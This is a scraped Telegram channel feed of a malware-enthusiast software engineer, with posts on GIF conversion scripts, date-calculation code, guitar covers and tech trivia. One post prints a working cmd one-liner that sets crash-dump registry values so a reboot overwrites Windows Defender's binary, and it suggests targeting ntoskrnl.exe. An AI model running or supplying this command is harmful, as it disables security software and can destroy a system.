oh my god...
Enderman
@endermanch
A software engineer, a malware enthusiast and most importantly, a weird tall creature.
https://enderman.ch
https://youtube.com/endermanch
Enderman Telegram Channel (English)
Are you a software engineer, a malware enthusiast, or just a fan of weird tall creatures? If so, the Enderman Telegram channel, managed by the username @endermanch, is the perfect place for you! This channel is dedicated to all things related to software engineering, malware, and, of course, the mysterious Enderman creature.
Enderman, the username behind this channel, is a software engineer who has a passion for exploring malware and sharing insights with fellow enthusiasts. But what sets Enderman apart is their fascination with the Enderman creature - a strange and tall mob found in the popular game Minecraft.
If you want to stay updated on the latest trends in software engineering, learn about new malware threats, or simply delve into the world of the Enderman, this channel is the one-stop destination for you. Additionally, you can visit Enderman's website at https://enderman.ch and check out their YouTube channel at https://youtube.com/endermanch for even more exclusive content and insights.
Join the Enderman Telegram channel today to connect with like-minded individuals, engage in discussions, and explore the fascinating world of software engineering, malware, and the mysterious Enderman creature. Don't miss out on this unique opportunity to expand your knowledge and join a community of passionate individuals in the tech world!
Enderman
16 Feb, 15:29
😂 We value your privacy
Another reason for you to learn FFMPEG and GIF optimization tools.
Another reason for you to learn FFMPEG and GIF optimization tools.
Enderman
16 Feb, 15:26
😎 ezgif.cmd
Since Telegram has a wide variety of GIFs I want to share with my friends on Discord and they're stored as videos, I decided to automate the process of using ezgif. FFMPEG and Gifsicle are required, they also need to be in PATH.
The source code:
A special treat for Linux fams:
Since Telegram has a wide variety of GIFs I want to share with my friends on Discord and they're stored as videos, I decided to automate the process of using ezgif. FFMPEG and Gifsicle are required, they also need to be in PATH.
The source code:
ffmpeg -i %1 -vf "fps=15,scale=512:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" output.gif && gifsicle -O3 --lossy=80 output.gif -o output.gif
A special treat for Linux fams:
#!/bin/sh
input="$1"
ffmpeg -i "$input" -vf "fps=15,scale=512:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" output.gif && gifsicle -O3 --lossy=80 output.gif -o output.gif
Enderman
10 Feb, 09:35
🔥 Is your Defender a dump? Yes it is!
Security researcher sixtyvividtails uncovered a trick to destroy any EDR upon boot by overwriting it with a crash dump.
🔻 No system crash needed, only reboot.
🔻 Defender is just an example; works versus anything (try ntoskrnl.exe).
🔻 Dedicated dump is not the only bootside kill; at least 4 more distinct yet similar ways.
The code:
Security researcher sixtyvividtails uncovered a trick to destroy any EDR upon boot by overwriting it with a crash dump.
🔻 No system crash needed, only reboot.
🔻 Defender is just an example; works versus anything (try ntoskrnl.exe).
🔻 Dedicated dump is not the only bootside kill; at least 4 more distinct yet similar ways.
The code:
cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d 7 /t 4&!R! DumpFileSize /d 666 /t 4&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~29,-1!)"
Enderman
07 Feb, 17:41
🎵 Fade to Black
This one is super beautiful, I enjoy playing that a lot. The verse riff looks easy, but it's actually pretty challenging. The ending is the most difficult part.
This one is super beautiful, I enjoy playing that a lot. The verse riff looks easy, but it's actually pretty challenging. The ending is the most difficult part.
Enderman
06 Feb, 09:14
The comments asked me to make the outline uniform, and that actually looks significantly better
Enderman
03 Feb, 21:52
🖌 Drawing
I don't think I've said it publicly before, but I also enjoy drawing for fun. I'm a poor artist, but pixel art is my weakness, as much as long-haired girls are 😌
I don't think I've said it publicly before, but I also enjoy drawing for fun. I'm a poor artist, but pixel art is my weakness, as much as long-haired girls are 😌
Enderman
30 Jan, 14:13
😔 The boring way
Well, for one, I fucked up the leap year check, because I didn't know they are skipped every century unless the year divisible by 400.
Float operations are obviously super slow, and even though my solution was mathematically elegant, I think basic comparisons are way to go for time optimization... Shame
I'd actually bet my money this approach is slightly more optimized than a lookup table, if we consider storage:
Well, for one, I fucked up the leap year check, because I didn't know they are skipped every century unless the year divisible by 400.
Float operations are obviously super slow, and even though my solution was mathematically elegant, I think basic comparisons are way to go for time optimization... Shame
int days(int y, int m) {
if (m == 1)
return 28 + ((y & 0b11) == 0 && (y % 100 != 0 || y % 400 == 0));
if (m == 3 || m == 5 || m == 8 || m == 10)
return 30;
return 31;
}I'd actually bet my money this approach is slightly more optimized than a lookup table, if we consider storage:
const int lookup[12] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
int daysLookup(int y, int m) {
return lookup[m] + (m == 1 && ((y & 0b11) == 0 && (y % 100 != 0 || y % 400 == 0)));
}
Enderman
30 Jan, 12:15
🔮 Counting days in a month
I was tired of lookup tables so I came up with this optimized algorithm counting days in a month. The operations seem simple enough, and the √3 can be replaced with a constant. To me it seems like the bottleneck of the algorithm is all the float operations. The rest can be very elegantly optimized with bitwise.
Super lenient on storage, but slightly more complex in computation. Developers, what do you think about this?
I was tired of lookup tables so I came up with this optimized algorithm counting days in a month. The operations seem simple enough, and the √3 can be replaced with a constant. To me it seems like the bottleneck of the algorithm is all the float operations. The rest can be very elegantly optimized with bitwise.
def days(y, m):
if m == 1:
return 28 + int(y % 4 == 0)
p = m / sqrt(3)
return 31 if p - floor(p) < 0.5 else 30
Super lenient on storage, but slightly more complex in computation. Developers, what do you think about this?
Enderman
28 Jan, 12:16
🤯 The first successful AI pull request
Yesterday a person submitted a low-level optimization PR written 99% by DeepSeek-R1.
Is it over for software engineers, boys?
Yesterday a person submitted a low-level optimization PR written 99% by DeepSeek-R1.
Is it over for software engineers, boys?
Enderman
23 Jan, 20:58
🌎 The first ever advertisement
Did you know the first ever ad on the Internet looked like this? It was a banner for the AT&T campaign that appeared on Hotwired on October 27, 1994.
Did you know the first ever ad on the Internet looked like this? It was a banner for the AT&T campaign that appeared on Hotwired on October 27, 1994.
Enderman
21 Jan, 22:09
📟 How Apple blasted the competition with their iPhone
Above are the slides from a 2007 Nokia emergency meeting presentation.
Above are the slides from a 2007 Nokia emergency meeting presentation.
Enderman
11 Jan, 23:47
🎞 Switching editing software
Some of you might've already known this, but I've been actively learning DaVinci Resolve the past couple days.
And I'm happy to announce, I actually really enjoy that editor. Compared to Adobe Premiere, which I trashtalked really bad in my very first edit, it's comfortable and fun to learn. Many monotonous tasks I had to carry out in Vegas manually are nicely automated and polished. These improvements will help me focus on something cooler and give me extra motivation to continue learning.
I'll be moving to Davinci Resolve from here on out, and I might never return to Vegas ever. So yea, pretty cool and historic for the Enderman channel.
The production quality of my videos will definitely grow, because compared to Vegas it's actual professional editing suite used even in Hollywood.
Oh, and the attachment is my first complete edit in DaVinci Resolve.
Some of you might've already known this, but I've been actively learning DaVinci Resolve the past couple days.
And I'm happy to announce, I actually really enjoy that editor. Compared to Adobe Premiere, which I trashtalked really bad in my very first edit, it's comfortable and fun to learn. Many monotonous tasks I had to carry out in Vegas manually are nicely automated and polished. These improvements will help me focus on something cooler and give me extra motivation to continue learning.
I'll be moving to Davinci Resolve from here on out, and I might never return to Vegas ever. So yea, pretty cool and historic for the Enderman channel.
The production quality of my videos will definitely grow, because compared to Vegas it's actual professional editing suite used even in Hollywood.
Oh, and the attachment is my first complete edit in DaVinci Resolve.
Enderman
03 Jan, 00:03
🎵 My Friend of Misery
Rough at the edges and a couple mistakes, but I hope it gets cleaner with practice eventually. Unplugged
Rough at the edges and a couple mistakes, but I hope it gets cleaner with practice eventually. Unplugged
Enderman
16 Nov, 10:31
The workshop is the best thing that has happened to the Half-Life series
Enderman
11 Nov, 12:19
📊 Who is the imposter ⁉️
One of them is Windows 10, the other is Windows 7.
One of them is Windows 10, the other is Windows 7.
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